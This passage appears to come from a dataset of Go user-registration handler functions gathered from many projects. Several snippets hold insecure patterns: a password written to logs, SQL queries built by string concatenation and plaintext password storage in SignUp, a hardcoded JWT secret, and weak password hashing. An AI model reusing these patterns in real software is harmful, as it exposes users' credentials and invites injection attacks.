0 {\n\t\tr.logger.Warn(\"one of name, email or password not specified\", zap.String(\"name\", name), zap.String(\"email\", email), zap.String(\"password\", password))\n\t\tmodels.SendAPIError(ctx, http.StatusBadRequest, \"request must include the user's name, email and passowrd\")\n\t\treturn\n\t}\n\n\t_, err := r.userService.GetUserWithEmail(ctx, email)\n\tif err == nil {\n\t\tr.logger.Warn(\"email taken\", zap.String(\"email\", email))\n\t\tmodels.SendAPIError(ctx, http.StatusBadRequest, \"email taken\")\n\t\treturn\n\t}\n\n\tif err != services.ErrNotFound {\n\t\tr.logger.Error(\"could not query for user with email\", zap.String(\"email\", email), zap.Error(err))\n\t\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \"something went wrong while creating new user\")\n\t\treturn\n\t}\n\n\thashedPassword, err := auth.GetHashForPassword(password)\n\tif err != nil {\n\t\tr.logger.Error(\"could not make hash for password\", zap.Error(err))\n\t\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \"something went wrong while creating new user\")\n\t\treturn\n\t}\n\n\tuser, err := r.userService.CreateUser(ctx, name, email, hashedPassword, r.cfg.BaseAuthLevel)\n\tif err != nil {\n\t\tr.logger.Error(\"could not create user\",\n\t\t\tzap.String(\"name\", name),\n\t\t\tzap.String(\"email\", email),\n\t\t\tzap.Int(\"auth level\", int(r.cfg.BaseAuthLevel)),\n\t\t\tzap.Error(err))\n\t\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \"something went wrong while creating new user\")\n\t\treturn\n\t}\n\n\temailToken, err := auth.NewJWT(*user, time.Now().Unix(), r.cfg.AuthTokenLifetime, auth.Email, []byte(r.env.Get(environment.JWTSecret)))\n\tif err != nil {\n\t\tr.logger.Error(\"could not generate JWT token\",\n\t\t\tzap.String(\"user id\", user.ID.Hex()),\n\t\t\tzap.Bool(\"JWT_SECRET set\", r.env.Get(environment.JWTSecret) != environment.DefaultEnvVarValue),\n\t\t\tzap.Error(err))\n\t\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \"something went wrong while creating new user\")\n\t\tr.userService.DeleteUserWithEmail(ctx, email)\n\t\treturn\n\t}\n\terr = r.emailService.SendEmailVerificationEmail(*user, emailToken)\n\tif err != nil {\n\t\tr.logger.Error(\"could not send email verification email\",\n\t\t\tzap.String(\"user email\", user.Email),\n\t\t\tzap.String(\"noreply email\", r.cfg.Email.NoreplyEmailAddr),\n\t\t\tzap.Bool(\"SENDGRID_API_KEY set\", r.env.Get(environment.SendgridAPIKey) != environment.DefaultEnvVarValue),\n\t\t\tzap.Error(err))\n\t\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \"something went wrong while creating new user\")\n\t\tr.userService.DeleteUserWithEmail(ctx, email)\n\t\treturn\n\t}\n\n\tctx.JSON(http.StatusOK, registerRes{\n\t\tResponse: models.Response{\n\t\t\tStatus: http.StatusOK,\n\t\t},\n\t\tUser: *user,\n\t})\n}", "func (api *API) Signup(ctx *gin.Context) {\n\t// Unmarshall the 'signup' request body.\n\tvar signup Signup\n\terr := ctx.BindJSON(&signup)\n\tif err != nil {\n\t\tctx.JSON(http.StatusBadRequest, gin.H{\"errorMessage\": fmt.Sprintf(\"%s\", err)})\n\t\treturn\n\t}\n\n\tuserExists, err := api.db.HasUser(ctx, signup.Login.Email)\n\tif err != nil {\n\t\tctx.JSON(http.StatusInternalServerError, gin.H{\"errorMessage\": fmt.Sprintf(\"%s\", err)})\n\t\treturn\n\t}\n\n\tif userExists {\n\t\tctx.JSON(http.StatusConflict, gin.H{\"errorMessage\": \"User already registered.\"})\n\t} else {\n\t\t// Check password strength.\n\t\tpwd := signup.Password\n\t\terr := validate(pwd)\n\t\tif err != nil {\n\t\t\tctx.JSON(http.StatusBadRequest, gin.H{\"errorMessage\": fmt.Sprintf(\"%s\", err)})\n\t\t\treturn\n\t\t}\n\n\t\t// Create a new User.\n\t\tid := uuid.New().String()\n\t\tvar user = User{\n\t\t\tID: string(id),\n\t\t\tEmail: signup.Email,\n\t\t\tName: signup.Name,\n\t\t}\n\n\t\t// Create a new Credential.\n\t\thash, err := bcrypt.GenerateFromPassword([]byte(pwd), bcrypt.MinCost)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t\tvar cred = Credential{\n\t\t\tUserID: user.ID,\n\t\t\tPassword: string(hash),\n\t\t}\n\n\t\t// Save new user and credential entities.\n\t\terr = api.db.CreateUser(ctx, user)\n\t\tif err != nil {\n\t\t\tctx.JSON(http.StatusBadRequest, gin.H{\"errorMessage\": fmt.Sprintf(\"%s\", err)})\n\t\t\treturn\n\t\t}\n\t\terr = api.db.CreateCredential(ctx, cred)\n\t\tif err != nil {\n\t\t\tctx.JSON(http.StatusBadRequest, gin.H{\"errorMessage\": fmt.Sprintf(\"%s\", err)})\n\t\t\treturn\n\t\t}\n\n\t\tctx.Status(http.StatusOK)\n\t}\n}", "func (s *AuthServer) Register(ctx context.Context, r *pb.RegisterRequest) (*pb.RegisterResponse, error) {\n\tusername := r.GetUsername()\n\temail := r.GetEmail()\n\tpassword := r.GetPassword()\n\tregisterResponse := actions.Register(username, email, password)\n\treturn &pb.RegisterResponse{Ok: registerResponse}, nil\n}", "func SignUp(firstname string, lastname string, email string, phoneNumber string, password string) bool {\n\n\tdb := connect()\n\n\toutput := true\n\n\tif strings.Contains(firstname, \"'\") || strings.Contains(lastname, \"'\") || strings.Contains(email, \"'\") || strings.Contains(phoneNumber, \"'\") || strings.Contains(password, \"'\") {\n\t\tfirstname = strings.Replace(firstname, \"'\", \"\\\\'\", -1)\n\t\tlastname = strings.Replace(lastname, \"'\", \"\\\\'\", -1)\n\t\temail = strings.Replace(email, \"'\", \"\\\\'\", -1)\n\t\tphoneNumber = strings.Replace(phoneNumber, \"'\", \"\\\\'\", -1)\n\t\tpassword = strings.Replace(password, \"'\", \"\\\\'\", -1)\n\t}\n\n\tres, _, err := db.Query(\"SELECT * FROM customer WHERE email = '\" + email + \"'\")\n\n\tif err != nil {\n\t\tfmt.Println(\"Database Query Error:\", err)\n\t}\n\n\tif len(res) != 0 {\n\t\toutput = false\n\t} else {\n\t\tdb.Query(\"INSERT INTO customer (firstName, lastName, email, phoneNumber) VALUES ('\" + firstname + \"', '\" + lastname + \"', '\" + email + \"', '\" + phoneNumber + \"')\")\n\n\t\tdb.Query(\"INSERT INTO account (userName, password, customerId) SELECT '\" + email + \"', '\" + password + \"', id FROM customer WHERE email='\" + email + \"'\")\n\t}\n\n\tdisconnect(db)\n\n\treturn output\n}", "func (user User) Register(c appengine.Context) (User, error) {\n\n\t// If existing user return error\n\tpotential_user, err := getUserFromUsername(c, user.Username)\n\tif err != nil {\n\t\treturn user, err\n\t}\n\n\tif potential_user != (User{}) {\n\t\treturn user, errors.New(\"User with this username exists\")\n\t}\n\n\thashed_password, err := bcrypt.GenerateFromPassword([]byte(user.Password), COST)\n\tif err != nil {\n\t\treturn user, err\n\t}\n\tuser.Password = string(hashed_password)\n\n\t// save the user\n\tkey := datastore.NewIncompleteKey(c, \"Users\", nil)\n\t_, err = datastore.Put(c, key, &user)\n\n\tif err != nil {\n\t\treturn user, err\n\t}\n\n\treturn user, nil\n}", "func (ah *AuthHandler) Register(ctx *gin.Context) {\n\tvar user *model.User\n\terr := ctx.Bind(&user)\n\tif err != nil {\n\t\tctx.JSON(http.StatusBadRequest, response.ErrorResponse{\n\t\t\tMessage: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\n\t_, err = ah.Service.GetByEmail(ctx, user.Email)\n\tif err == nil {\n\t\tctx.JSON(http.StatusBadRequest, response.ErrorResponse{\n\t\t\tMessage: \"user already exists\",\n\t\t})\n\t\treturn\n\t}\n\n\tif err != pgx.ErrNoRows {\n\t\tctx.JSON(http.StatusBadRequest, response.ErrorResponse{\n\t\t\tMessage: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\n\tuser.Password = hashSHA256(user.Password)\n\n\terr = ah.Service.Store(ctx, user)\n\tif err != nil {\n\t\tctx.JSON(http.StatusInternalServerError, response.ErrorResponse{\n\t\t\tMessage: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\n\tctx.JSON(http.StatusOK, user)\n}", "func RegisterUser(db *gorm.DB, w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"register\")\n\truser := model.RUser{}\n\tdecoder := json.NewDecoder(r.Body)\n\tif err := decoder.Decode(&ruser); err != nil {\n\t\tRespondError(w, http.StatusBadRequest, \"\")\n\t\tlog.Println(\"decode:\", err.Error())\n\t\treturn\n\t}\n\tdefer r.Body.Close()\n\n\thashedPassword, err := bcrypt.GenerateFromPassword([]byte(ruser.Password), 8)\n\tif err != nil {\n\t\tRespondError(w, http.StatusInternalServerError, \"\")\n\t\tlog.Println(\"hash:\", err.Error())\n\t\treturn\n\t}\n\n\tid, err := uuid.NewUUID()\n\tif err != nil {\n\t\tRespondError(w, http.StatusInternalServerError, \"\")\n\t}\n\n\tuser := model.User{\n\t\tName: ruser.Name,\n\t\tUsername: ruser.Username,\n\t\tPassword: string(hashedPassword),\n\t\tUUID: id.String(),\n\t}\n\n\tif err := db.Save(&user).Error; err != nil {\n\t\tRespondError(w, http.StatusInternalServerError, \"\")\n\t\tlog.Println(\"save:\", err.Error())\n\t\treturn\n\t}\n\tRespondJSON(w, http.StatusCreated, user)\n}", "func Register(user models.User) (string, bool, error){\n\tctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)\n\t\n\tdefer cancel()\n\n\tdb := MongoClient.Database(\"test-api-go\")\n\tcol := db.Collection(\"users\")\n\n\tuser.Password, _ = PasswordEncrypt(user.Password)\n\n\tresult, err := col.InsertOne(ctx, user)\n\n\tif err != nil {\n\t\treturn \"\", false, err\n\t}\n\n\tObjID, _ := result.InsertedID.(primitive.ObjectID)\n\treturn ObjID.String(), true, nil\n}", "func (c *CognitoFlow) Register(w http.ResponseWriter, r *http.Request) {\n\ttype userdata struct {\n\t\tUsername string `json:\"username\"`\n\t\tPassword string `json:\"password\"`\n\t\tEmail string `json:\"email\"`\n\t}\n\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\thttp.Error(w, \"\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\tvar userd userdata\n\terr = json.Unmarshal(body, &userd)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n\n\tusername := userd.Username\n\tlog.Infof(\"username: %v\", username)\n\tpassword := userd.Password\n\tif len(password) > 0 {\n\t\tlog.Infof(\"password is %d characters long\", len(password))\n\t}\n\temail := userd.Email\n\tlog.Infof(\"email: %v\", email)\n\n\tuser := &cognitoidentityprovider.SignUpInput{\n\t\tUsername: &username,\n\t\tPassword: &password,\n\t\tClientId: aws.String(c.AppClientID),\n\t\tUserAttributes: []*cognitoidentityprovider.AttributeType{\n\t\t\t{\n\t\t\t\tName: aws.String(\"email\"),\n\t\t\t\tValue: &email,\n\t\t\t},\n\t\t},\n\t}\n\n\toutput, err := c.CognitoClient.SignUp(user)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\t/*if !*output.UserConfirmed {\n\t\tlog.Error(\"user registration failed\")\n\t\thttp.Error(w, \"\", http.StatusInternalServerError)\n\t\treturn\n\t}*/\n\tdata, err := json.Marshal(output)\n\tif err != nil {\n\t\tlog.Error(\"user registration failed\")\n\t\thttp.Error(w, \"\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\tw.WriteHeader(http.StatusOK)\n\tw.Write(data)\n}", "func createHandler(w http.ResponseWriter, r *http.Request) {\n user := new(User)\n user.Token = validateToken(r.FormValue(\"token\"))\n user.PasswordHash = validateHash(r.FormValue(\"passHash\"))\n user.PublicKey = validatePublicKey(r.FormValue(\"publicKey\"))\n user.PublicHash = computePublicHash(user.PublicKey)\n user.CipherPrivateKey = validateHex(r.FormValue(\"cipherPrivateKey\"))\n\n log.Printf(\"Woot! New user %s %s\\n\", user.Token, user.PublicHash)\n\n if !SaveUser(user) {\n http.Error(w, \"That username is taken\", http.StatusBadRequest)\n }\n}", "func Register(client httpclient.IHttpClient, ctx context.Context, lobby, email, password, challengeID, lang string) error {\n\tif lang == \"\" {\n\t\tlang = \"en\"\n\t}\n\tvar payload struct {\n\t\tCredentials struct {\n\t\t\tEmail string `json:\"email\"`\n\t\t\tPassword string `json:\"password\"`\n\t\t} `json:\"credentials\"`\n\t\tLanguage string `json:\"language\"`\n\t\tKid string `json:\"kid\"`\n\t}\n\tpayload.Credentials.Email = email\n\tpayload.Credentials.Password = password\n\tpayload.Language = lang\n\tjsonPayloadBytes, err := json.Marshal(&payload)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, err := http.NewRequest(http.MethodPut, \"https://\"+lobby+\".ogame.gameforge.com/api/users\", strings.NewReader(string(jsonPayloadBytes)))\n\tif err != nil {\n\t\treturn err\n\t}\n\tif challengeID != \"\" {\n\t\treq.Header.Add(ChallengeIDCookieName, challengeID)\n\t}\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\treq.Header.Add(\"Accept-Encoding\", \"gzip, deflate, br\")\n\treq.WithContext(ctx)\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode == http.StatusConflict {\n\t\tgfChallengeID := resp.Header.Get(ChallengeIDCookieName) // c434aa65-a064-498f-9ca4-98054bab0db8;https://challenge.gameforge.com\n\t\tif gfChallengeID != \"\" {\n\t\t\tparts := strings.Split(gfChallengeID, \";\")\n\t\t\tchallengeID := parts[0]\n\t\t\treturn NewCaptchaRequiredError(challengeID)\n\t\t}\n\t}\n\tby, err := utils.ReadBody(resp)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar res struct {\n\t\tMigrationRequired bool `json:\"migrationRequired\"`\n\t\tError string `json:\"error\"`\n\t}\n\tif err := json.Unmarshal(by, &res); err != nil {\n\t\treturn errors.New(err.Error() + \" : \" + string(by))\n\t}\n\tif res.Error == \"email_invalid\" {\n\t\treturn ErrEmailInvalid\n\t} else if res.Error == \"email_used\" {\n\t\treturn ErrEmailUsed\n\t} else if res.Error == \"password_invalid\" {\n\t\treturn ErrPasswordInvalid\n\t} else if res.Error != \"\" {\n\t\treturn errors.New(res.Error)\n\t}\n\treturn nil\n}", "func Register(c *gin.Context) {\n\tusername := c.PostForm(\"username\")\n\tpassword := c.PostForm(\"password\")\n\temail := c.PostForm(\"email\")\n\tif !store.ValidUser(username, password, email) {\n\t\tuser, err := store.RegisterUser(username, password, email)\n\t\tif err != nil || user == nil {\n\t\t\tc.HTML(http.StatusBadRequest, \"register.html\", gin.H{\n\t\t\t\t\"ErrorTitle\": \"Registration Failed\",\n\t\t\t\t\"ErrorMessage\": err.Error()})\n\t\t} else {\n\t\t\t//if user is created successfully we generate cookie token\n\t\t\ttoken := generateSessionToken()\n\t\t\tc.SetCookie(\"token\", token, 3600, \"\", \"\", false, true)\n\t\t\tc.Set(\"is_logged_in\", true)\n\n\t\t\trender(c, gin.H{\n\t\t\t\t\"title\": \"Successful registration & Login\"}, \"register-successful.html\")\n\t\t}\n\t} else {\n\t\t//if new user information is not valid\n\t\t//we generate errors\n\t\tc.HTML(http.StatusBadRequest, \"register.html\", gin.H{\n\t\t\t\"ErrorTitle\": \"Invalid user information\",\n\t\t\t\"ErrorMessage\": errors.New(\"Invalid user information\").Error()})\n\t}\n}", "func (u *User) Save() *errors.RestErr {\n\tcurrent := usersDB[u.Id]\n\tif current != nil {\n\t\tif current.Email == u.Email {\n\t\t\treturn errors.NewBadRequestError(fmt.Sprintf(\"email %s already registerd\", u.Email))\n\t\t}\n\t\treturn errors.NewBadRequestError(\"user already exists\")\n\t}\n\n\tu.DateCreated = date_utils.GetNowString()\n\n\tusersDB[u.Id] = u\n\treturn nil\n}", "func (a *App) Register(w http.ResponseWriter, r *http.Request) {\n\tvar registerInfo uvm.UserRegisterVM\n\n\tdecoder := json.NewDecoder(r.Body)\n\tvar err error\n\n\tif err = decoder.Decode(&registerInfo); err != nil {\n\t\trespondWithError(w, http.StatusBadRequest, \"Invalid request body\")\n\t\treturn\n\t}\n\n\t//TODO validate user data\n\n\tregisterInfo.Password, err = utils.HashPassword(registerInfo.Password)\n\n\tif err != nil {\n\t\trespondWithError(w, http.StatusInternalServerError, \"Could not register user\")\n\t\treturn\n\t}\n\n\tvar user models.User\n\n\tuser, err = a.UserStore.AddUser(registerInfo)\n\n\tif err != nil {\n\t\trespondWithError(w, http.StatusInternalServerError, err.Error())\n\t}\n\n\ttoken := auth.GenerateToken(a.APISecret, user)\n\n\tresult := models.UserResult{\n\t\tUsername: user.Username,\n\t\tPicture: user.Picture,\n\t\tRole: user.Role.Name,\n\t\tToken: token,\n\t}\n\n\trespondWithJSON(w, http.StatusOK, result)\n}", "func (a *Auth) RegisterProvider(ctx context.Context, req *pb.ProviderRegisterRequest) (*pb.Response, error) {\n\tspan := jtrace.Tracer.StartSpan(\"register-provider\")\n\tdefer span.Finish()\n\tspan.SetTag(\"register\", \"register provider\")\n\n\t// hash password for store into DB\n\tpassword, err := cript.Hash(req.GetPassword())\n\tif err != nil {\n\t\treturn &pb.Response{Message: fmt.Sprintf(\"ERROR: %s\", err.Error()), Status: &pb.Status{Code: http.StatusInternalServerError, Message: \"FAILED\"}}, status.Errorf(codes.Internal, \"error in hash password: %s\", err.Error())\n\t}\n\n\t// create new user requested.\n\tuser, err := user.Model.Register(jtrace.Tracer.ContextWithSpan(ctx, span), model.User{\n\t\tUsername: req.GetUsername(),\n\t\tPassword: &password,\n\t\tName: req.GetName(),\n\t\tLastName: req.GetLastName(),\n\t\tPhone: req.GetPhone(),\n\t\tEmail: req.GetEmail(),\n\t\tBirthDate: req.GetBirthDate(),\n\t\tGender: req.GetGender().String(),\n\t\tRoleID: 2, // PROVIDER\n\t})\n\tif err != nil {\n\t\treturn &pb.Response{Message: fmt.Sprintf(\"ERROR: %s\", err.Error()), Status: &pb.Status{Code: http.StatusInternalServerError, Message: \"FAILED\"}}, status.Errorf(codes.Internal, \"error in store user: %s\", err.Error())\n\t}\n\n\t// create provider\n\tif err := provider.Model.Register(jtrace.Tracer.ContextWithSpan(ctx, span), model.Provider{\n\t\tUserID: user.ID,\n\t\tFixedNumber: req.GetFixedNumber(),\n\t\tCompany: req.GetCompany(),\n\t\tCard: req.GetCard(),\n\t\tCardNumber: req.GetCardNumber(),\n\t\tShebaNumber: req.GetShebaNumber(),\n\t\tAddress: req.GetAddress(),\n\t}); err != nil {\n\t\treturn &pb.Response{Message: fmt.Sprintf(\"ERROR: %s\", err.Error()), Status: &pb.Status{Code: http.StatusInternalServerError, Message: \"FAILED\"}}, status.Errorf(codes.Internal, \"error in store new provider: %s\", err.Error())\n\t}\n\n\t// return successfully message\n\treturn &pb.Response{Message: \"provider created successfully\", Status: &pb.Status{Code: http.StatusOK, Message: \"SUCCESS\"}}, nil\n}", "func InsertRegister(object models.User) (string, bool, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)\n\n\t//When end instruction remove timeout operation and liberate context\n\tdefer cancel()\n\n\tdb := MongoConnection.Database(\"socialnetwork\")\n\tcollection := db.Collection(\"Users\")\n\n\t//Set password encrypted\n\tpassWordEncrypted, _ := utils.EcryptPasswordUtil(object.Password)\n\tobject.Password = passWordEncrypted\n\n\tresult, err := collection.InsertOne(ctx, object)\n\n\tif err != nil {\n\t\treturn \"\", false, err\n\t}\n\n\t//Get id of created object\n\tObjectID, _ := result.InsertedID.(primitive.ObjectID)\n\n\t//Return created object id\n\treturn ObjectID.String(), true, nil\n\n}", "func (u *User) Save() error {\n\t//\tvar out bool\n\tvar err error\n\tvar hashed = make(chan []byte, 1)\n\tvar errchan = make(chan error, 1)\n\n\t/* Generate salt */\n\tgo func() {\n\t\thash, _ := crypt([]byte(u.Pass))\n\t\thashed <- hash\n\t}()\n\tu.Hash = <-hashed\n\tu.Pass = \"\" // reset to empty\n\n\t/* do low level store process on another thread */\n\tif u.Hash != nil {\n\t\tgo func() {\n\t\t\te := u.Create(u)\n\t\t\terrchan <- e\n\t\t}()\n\t}\n\n\terr = <-errchan\n\t//\tif strings.Contains(err.Error(), \"pq: duplicate key value violates unique constraint\") {\n\t//\t\terr = u.read(u.User, u)\n\t//\t}\n\n\treturn err\n}", "func Register(c echo.Context) error {\n\n\tRegisterAttempt := types.RegisterAttempt{}\n\terr := c.Bind(&RegisterAttempt)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusBadRequest, map[string]string{\"result\": \"error\", \"details\": \"Error binding register attempt.\"})\n\t}\n\n\tuserCreated, err := util.NewUser(RegisterAttempt.User, RegisterAttempt.Pass, RegisterAttempt.PassCheck)\n\tif err != nil {\n\t\tmsgUser := err.Error()\n\t\treturn c.JSON(http.StatusOK, msgUser)\n\t}\n\n\tif userCreated {\n\t\tmsgUser := fmt.Sprintf(\"User %s created!\", RegisterAttempt.User)\n\t\treturn c.String(http.StatusOK, msgUser)\n\t}\n\n\tmsgUser := fmt.Sprintf(\"User already exists or passwords don't match!\")\n\treturn c.String(http.StatusOK, msgUser)\n}", "func Register(w http.ResponseWriter, r *http.Request, opt router.UrlOptions, sm session.ISessionManager, s store.IStore) {\n\tswitch r.Method {\n\tcase \"GET\":\n\t\tutils.RenderTemplate(w, r, \"register\", sm, make(map[string]interface{}))\n\n\tcase \"POST\":\n\t\tvar newUser *user.User\n\n\t\tdfc := s.GetDataSource(\"persistence\")\n\n\t\tp, ok := dfc.(persistence.IPersistance)\n\t\tif !ok {\n\t\t\tlogger.Log(\"Invalid store\")\n\t\t\treturn\n\t\t}\n\n\t\tc := p.GetCollection(\"users\")\n\n\t\tapiServer := r.PostFormValue(\"api-server\")\n\t\tusername := r.PostFormValue(\"username\")\n\t\tpassword := hash.EncryptString(r.PostFormValue(\"password\"))\n\n\t\tnewUser = &user.User{\n\t\t\tID: bson.NewObjectId(),\n\t\t\tUsername: username,\n\t\t\tPassword: password,\n\t\t\tAPIServerIP: apiServer,\n\t\t}\n\n\t\terr := c.Insert(newUser)\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t\tlogger.Log(\"Error registering user '\" + username + \"'\")\n\t\t\treturn\n\t\t}\n\t\tlogger.Log(\"Registered user '\" + username + \"'\")\n\n\t\tlogger.Log(\"Registering user in API server \" + apiServer)\n\t\tform := url.Values{}\n\t\tform.Add(\"username\", username)\n\t\tform.Add(\"password\", password)\n\n\t\tregisterURL := \"http://\" + apiServer + \":\" + os.Getenv(\"SH_API_SRV_PORT\") + \"/login/register\"\n\t\t_, err = http.PostForm(registerURL, form)\n\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t\tlogger.Log(\"Error registering user in endpoint \" + registerURL)\n\t\t}\n\n\t\thttp.Redirect(w, r, \"/\", http.StatusSeeOther)\n\tdefault:\n\t}\n}", "func (rsh *routeServiceHandler) Register(w http.ResponseWriter, r *http.Request) {\n\n\tuser := &models.User{}\n\terr := json.NewDecoder(r.Body).Decode(user)\n\tif err != nil {\n\t\tsendResponse(w, r, StatusError, err.Error(), nil)\n\t\treturn\n\t}\n\n\tpass, err := bcrypt.GenerateFromPassword([]byte(user.Password), bcrypt.DefaultCost)\n\tif err != nil {\n\t\tsendResponse(w, r, StatusError, err.Error(), nil)\n\t\treturn\n\t}\n\n\tuser.Password = string(pass)\n\n\tcreatedUser, err := rsh.ctlr.Register(*user)\n\tif err != nil {\n\t\tsendResponse(w, r, StatusError, err.Error(), createdUser)\n\t\treturn\n\t}\n\n\tsendResponse(w, r, StatusSuccess, \"\", createdUser)\n\treturn\n}", "func Register(context *gin.Context) {\n\tvar requestBody models.UserReq\n\tif context.ShouldBind(&requestBody) == nil {\n\t\tvalidCheck := validation.Validation{}\n\t\tvalidCheck.Required(requestBody.UserName, \"user_name\").Message(\"Must have user name\")\n\t\tvalidCheck.MaxSize(requestBody.UserName, 16, \"user_name\").Message(\"User name length can not exceed 16\")\n\t\tvalidCheck.MinSize(requestBody.UserName, 6, \"user_name\").Message(\"User name length is at least 6\")\n\t\tvalidCheck.Required(requestBody.Password, \"password\").Message(\"Must have password\")\n\t\tvalidCheck.MaxSize(requestBody.Password, 16, \"password\").Message(\"Password length can not exceed 16\")\n\t\tvalidCheck.MinSize(requestBody.Password, 6, \"password\").Message(\"Password length is at least 6\")\n\t\tvalidCheck.Required(requestBody.Email, \"email\").Message(\"Must have email\")\n\t\tvalidCheck.MaxSize(requestBody.Email, 128, \"email\").Message(\"Email can not exceed 128 chars\")\n\n\t\tresponseCode := constant.INVALID_PARAMS\n\t\tif !validCheck.HasErrors() {\n\t\t\tuserEntity := models.UserReq2User(requestBody)\n\t\t\tif err := models.InsertUser(userEntity); err == nil {\n\t\t\t\tresponseCode = constant.USER_ADD_SUCCESS\n\t\t\t} else {\n\t\t\t\tresponseCode = constant.USER_ALREADY_EXIST\n\t\t\t}\n\t\t} else {\n\t\t\tfor _, err := range validCheck.Errors {\n\t\t\t\tlog.Println(err)\n\t\t\t}\n\t\t}\n\n\t\tcontext.JSON(http.StatusOK, gin.H{\n\t\t\t\"code\": responseCode,\n\t\t\t\"data\": \"\",\n\t\t\t\"msg\": constant.GetMessage(responseCode),\n\t\t})\n\t} else {\n\t\tcontext.JSON(http.StatusOK, gin.H{\n\t\t\t\"code\": 200,\n\t\t\t\"data\": \"\",\n\t\t\t\"msg\": \"添加失败,参数有误\",\n\t\t})\n\t}\n}", "func RegisterUser(serverURI, username, password, email string) {\n\tregisterUserBody := struct {\n\t\tUsername string `json:\"username\"`\n\t\tPassword string `json:\"password\"`\n\t\tEmail string `json:\"email\"`\n\t\tConfirmPassword string `json:\"confirmPassword\"`\n\t}{\n\t\tusername,\n\t\tpassword,\n\t\temail,\n\t\tpassword,\n\t}\n\tdata, merr := json.Marshal(registerUserBody)\n\tif merr != nil {\n\t\tΩ(merr).ShouldNot(HaveOccurred())\n\t}\n\n\tres, err := http.Post(serverURI+\"/v3/user/auth/local/register\", \"application/json\", bytes.NewBuffer(data))\n\tΩ(err).ShouldNot(HaveOccurred())\n\tΩ(res.StatusCode).ShouldNot(BeNumerically(\">=\", 300))\n}", "func (u *User) PostRegister(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tw.Header().Set(\"Cache-Control\", \"no-store\")\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Header().Set(\"Pragma\", \"no-cache\")\n\n\t// TODO: Implement this.\n\t// sess, ok := r.Context(entity.ContextKeySession).(*session.Session)\n\t// if ok {\n\t// http.Redirect(w, r, \"/\", http.StatusFound)\n\t// return\n\t// }\n\n\t// if ok := u.session.HasSession(r); ok {\n\t// http.Redirect(w, r, \"/\", http.StatusFound)\n\t// return\n\t// }\n\n\tvar req Credentials\n\tif err := json.NewDecoder(r.Body).Decode(&req); err != nil {\n\t\twriteError(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tuser, err := u.service.Register(req.Email, req.Password)\n\tif err != nil {\n\t\twriteError(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tprovideToken := func(userid string) (string, error) {\n\t\tvar (\n\t\t\taud = \"https://server.example.com/register\"\n\t\t\tsub = userid\n\t\t\tiss = userid\n\t\t\tiat = time.Now().UTC()\n\t\t\texp = iat.Add(2 * time.Hour)\n\n\t\t\tkey = []byte(\"access_token_secret\")\n\t\t)\n\t\tclaims := crypto.NewStandardClaims(aud, sub, iss, iat.Unix(), exp.Unix())\n\t\treturn crypto.NewJWT(key, claims)\n\t}\n\n\taccessToken, err := provideToken(user.ID)\n\tif err != nil {\n\t\twriteError(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tu.session.SetSession(w, user.ID)\n\n\tw.WriteHeader(http.StatusOK)\n\tjson.NewEncoder(w).Encode(M{\n\t\t\"access_token\": accessToken,\n\t})\n}", "func (s *Server) RegisterService(ctx context.Context, req *authpb.RegisterRequest) (*authpb.RegisterResponse, error) {\n\tlog.Printf(\"Registering user with email %s \\n\", req.GetEmail())\n\tuser := user.User{\n\t\tEmail: req.GetEmail(),\n\t\tFullname: req.GetFullname(),\n\t\tPassword: req.GetPassword(),\n\t}\n\n\tif user.Email == \"\" || user.Fullname == \"\" || user.Password == \"\" {\n\t\treturn nil, status.Errorf(\n\t\t\tcodes.InvalidArgument,\n\t\t\t\"Fullname, Email, and Password Is Required!\",\n\t\t)\n\t}\n\n\tu, _ := s.Manager.FindOne(user.Email)\n\tif u != nil {\n\t\treturn nil, status.Errorf(\n\t\t\tcodes.AlreadyExists,\n\t\t\tfmt.Sprintf(\"User with email %s already exist\", user.Email),\n\t\t)\n\t}\n\n\t_ = s.Manager.Register(user)\n\ttoken := s.Token.Generate(&user)\n\n\tlog.Println(\"Success registering new user with email:\", user.Email)\n\treturn &authpb.RegisterResponse{\n\t\tMessage: \"Register success\",\n\t\tAccessToken: token,\n\t}, nil\n}", "func (m *Manager) RegisterUser(username string, password string) bool {\n\t_, found := m.users[username]\n\tif !found {\n\t\tpwd := m.getSaltedHashedPassword(password)\n\t\tm.users[username] = credentials{username: username, password: pwd}\n\t\tlog.Printf(\"Registering: %s\", username)\n\t\treturn true\n\t}\n\tlog.Printf(\"User already exists: %s\", username)\n\treturn false\n}", "func RegistrationPage(w http.ResponseWriter, r *http.Request) {\n var flag bool\n var details helpers.User\n var targettmpl string\n w.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n userDetails := getSession(r)\n \n if (len(userDetails.FirstName) <= 0 && userDetails.Role == \"Admin\" ) {\n w.Write([]byte(\"<script>alert('Unauthorized Access!!,please login');window.location = '/login'</script>\"))\n }\n\n if 